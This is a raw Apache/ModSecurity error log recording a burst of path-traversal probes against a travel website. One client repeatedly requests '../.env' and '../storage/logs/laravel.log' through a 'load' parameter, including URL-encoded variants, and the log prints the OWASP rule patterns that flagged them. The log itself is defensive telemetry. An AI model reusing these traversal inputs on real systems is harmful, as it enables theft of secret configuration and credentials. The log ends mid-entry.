[Fri Jul 17 08:55:05.929699 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:load: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkboj0IkvhSCYadmBkQAAAAQ"]
[Fri Jul 17 08:55:05.929745 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:load: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkboj0IkvhSCYadmBkQAAAAQ"]
[Fri Jul 17 08:55:05.930406 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkYl9vhFBGA6D8l95kQAAAAw"]
[Fri Jul 17 08:55:05.930523 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:05.930793 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkYl9vhFBGA6D8l95kQAAAAw"]
[Fri Jul 17 08:55:05.931527 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkboj0IkvhSCYadmBkQAAAAQ"]
[Fri Jul 17 08:55:05.931692 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:05.932516 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkboj0IkvhSCYadmBkQAAAAQ"]
[Fri Jul 17 08:55:05.935494 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?load=..%2F..%2F..%2F..%2F.env&debug=VCISF4VWrkuJhpP1xcauxVwtX3KHu_MYlu9_G_HzO-aifaGXkWNNpC2QstiXEB4y3kqR9CS9JgJIXt5_zZUZOhIGm0vGWz6yaV7Q4d5t-lBkdl3tvElYCTj0VH6-WqUfoTMS5gp3RE3as0rnI2n4fkR9OH0b1xV1jsTLmgtQ7pHpi2mhsziBy7Mj3HJaV6gA0pAHw4NPlaLDfWQGNEU9yFUhy55RPhO1_u86V48RqFRyMjvbQsVwn3Q9XmIQxjkSxameg_RSHtDcL0cotyCwzSaU&sid=DJ6DBSI72LJJTYGPI6RX3QGRS7MKNPIQLO5HFQLHTVVBG43UVJAA2CCEUP3JKGKIFMJIUGBHJ4NHSJJFMJTOHODPAT2ZZWPYRPHVJRQVAQT5YVF5N6ZDESGSUUKRMCMHMMP2L..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkV1_86A5R6msWNfURQAAABI"]
[Fri Jul 17 08:55:05.935538 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:load: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkV1_86A5R6msWNfURQAAABI"]
[Fri Jul 17 08:55:05.935602 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?load=../../../../.env&debug=VCISF4VWrkuJhpP1xcauxVwtX3KHu_MYlu9_G_HzO-aifaGXkWNNpC2QstiXEB4y3kqR9CS9JgJIXt5_zZUZOhIGm0vGWz6yaV7Q4d5t-lBkdl3tvElYCTj0VH6-WqUfoTMS5gp3RE3as0rnI2n4fkR9OH0b1xV1jsTLmgtQ7pHpi2mhsziBy7Mj3HJaV6gA0pAHw4NPlaLDfWQGNEU9yFUhy55RPhO1_u86V48RqFRyMjvbQsVwn3Q9XmIQxjkSxameg_RSHtDcL0cotyCwzSaU&sid=DJ6DBSI72LJJTYGPI6RX3QGRS7MKNPIQLO5HFQLHTVVBG43UVJAA2CCEUP3JKGKIFMJIUGBHJ4NHSJJFMJTOHODPAT2ZZWPYRPHVJRQVAQT5YVF5N6ZDESGSUUKRMCMHMMP2L4PNHD7XTCUIL6DZN..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkV1_86A5R6msWNfURQAAABI"]
[Fri Jul 17 08:55:05.935644 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?load=../../../../.env&debug=vcisf4vwrkujhpp1xcauxvwtx3khu_mylu9_g_hzo-aifagxkwnnpc2qstixeb4y3kqr9cs9jgjixt5_zzuzohigm0vgwz6yav7q4d5t-lbkdl3tvelyctj0vh6-wqufotms5gp3re3as0rni2n4fkr9oh0b1xv1jstlmgtq7phpi2mhsziby7mj3hjav6ga0pahw4nplaldfwqgneu9yfuhy55rpho1_u86v48rqfrymjvbqsvwn3q9xmiqxjksxameg_rshtdcl0cotycwzsau&sid=dj6dbsi72ljjtygpi6rx3qgrs7mknpiqlo5hfqlhtvvbg43uvjaa2cceup3jkgkifmjiugbhj4nhsjjfmjtohodpat2zzwpyrphvjrqvaqt5yvf5n6zdesgsuukrmcmhmmp2l4pnhd7xtcuil6dzn..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkV1_86A5R6msWNfURQAAABI"]
[Fri Jul 17 08:55:05.935665 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:load: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkV1_86A5R6msWNfURQAAABI"]
[Fri Jul 17 08:55:05.935685 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:load: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkV1_86A5R6msWNfURQAAABI"]
[Fri Jul 17 08:55:05.936868 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkV1_86A5R6msWNfURQAAABI"]
[Fri Jul 17 08:55:05.937003 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:05.937322 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkV1_86A5R6msWNfURQAAABI"]
[Fri Jul 17 08:55:05.941485 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?load=..%2F..%2F..%2F..%2F..%2F.env&ref=RLNOxhRZETUc75uGsI1SNUo-ZZRGljIp9IAyn6_7dI4_sHHOzSE4I09ZGdbXV77cxWsYkMjcwvnJuNaUW2H85MUF9A-3MkPW-UBLKxQzYgei3of0jToZuGibJwKSRocZUVPm9UcDV4bqvF3f-Fy7iBhTlLWDrTgvtFDQXd9UxvMrdk4Cc5kqMGszXao_Uw7LO4pPp8MQR7BHHLq0KQas1OSTg-IZ92NGxeeTnuqPlS3e9dWeXeBxPL8-utprfUsEYUUG3IF0wiEEmio2qjXhF-1Q&token=CTDR5AY5BYESFZNHRNIMDKVIH7DB5O2BR27DN3DDEODUL3O2PFGYNF5ATBGRGQZ7QIBP4BFTPARESPHL6PETLJMPA23WVVXE4EFMKUQHYWIA3BO454PVOOZ2BMDKSD56..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkYl9vhFBGA6D8l95kgAAAAw"]
[Fri Jul 17 08:55:05.941534 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:load: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkYl9vhFBGA6D8l95kgAAAAw"]
[Fri Jul 17 08:55:05.941602 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?load=../../../../../.env&ref=RLNOxhRZETUc75uGsI1SNUo-ZZRGljIp9IAyn6_7dI4_sHHOzSE4I09ZGdbXV77cxWsYkMjcwvnJuNaUW2H85MUF9A-3MkPW-UBLKxQzYgei3of0jToZuGibJwKSRocZUVPm9UcDV4bqvF3f-Fy7iBhTlLWDrTgvtFDQXd9UxvMrdk4Cc5kqMGszXao_Uw7LO4pPp8MQR7BHHLq0KQas1OSTg-IZ92NGxeeTnuqPlS3e9dWeXeBxPL8-utprfUsEYUUG3IF0wiEEmio2qjXhF-1Q&token=CTDR5AY5BYESFZNHRNIMDKVIH7DB5O2BR27DN3DDEODUL3O2PFGYNF5ATBGRGQZ7QIBP4BFTPARESPHL6PETLJMPA23WVVXE4EFMKUQHYWIA3BO454PVOOZ2BMDKSD56332H2OFHOE2KZ37MBZ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkYl9vhFBGA6D8l95kgAAAAw"]
[Fri Jul 17 08:55:05.941639 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?load=../../../../../.env&ref=rlnoxhrzetuc75ugsi1snuo-zzrgljip9iayn6_7di4_shhozse4i09zgdbxv77cxwsykmjcwvnjunauw2h85muf9a-3mkpw-ublkxqzygei3of0jtozugibjwksroczuvpm9ucdv4bqvf3f-fy7ibhtllwdrtgvtfdqxd9uxvmrdk4cc5kqmgszxao_uw7lo4ppp8mqr7bhhlq0kqas1ostg-iz92ngxeetnuqpls3e9dwexebxpl8-utprfuseyuug3if0wieemio2qjxhf-1q&token=ctdr5ay5byesfznhrnimdkvih7db5o2br27dn3ddeodul3o2pfgynf5atbgrgqz7qibp4bftparesphl6petljmpa23wvvxe4efmkuqhywia3bo454pvooz2bmdksd56332h2ofhoe2kz37mbz..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkYl9vhFBGA6D8l95kgAAAAw"]
[Fri Jul 17 08:55:05.941663 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:load: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkYl9vhFBGA6D8l95kgAAAAw"]
[Fri Jul 17 08:55:05.941682 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:load: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkYl9vhFBGA6D8l95kgAAAAw"]
[Fri Jul 17 08:55:05.942848 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkYl9vhFBGA6D8l95kgAAAAw"]
[Fri Jul 17 08:55:05.943029 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:05.943330 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkYl9vhFBGA6D8l95kgAAAAw"]
[Fri Jul 17 08:55:05.989204 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:load: ../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkV1_86A5R6msWNfURgAAABI"]
[Fri Jul 17 08:55:05.989251 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:load: ../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkV1_86A5R6msWNfURgAAABI"]
[Fri Jul 17 08:55:05.990407 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkV1_86A5R6msWNfURgAAABI"]
[Fri Jul 17 08:55:05.990532 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:05.990834 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkV1_86A5R6msWNfURgAAABI"]
[Fri Jul 17 08:55:05.997420 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: 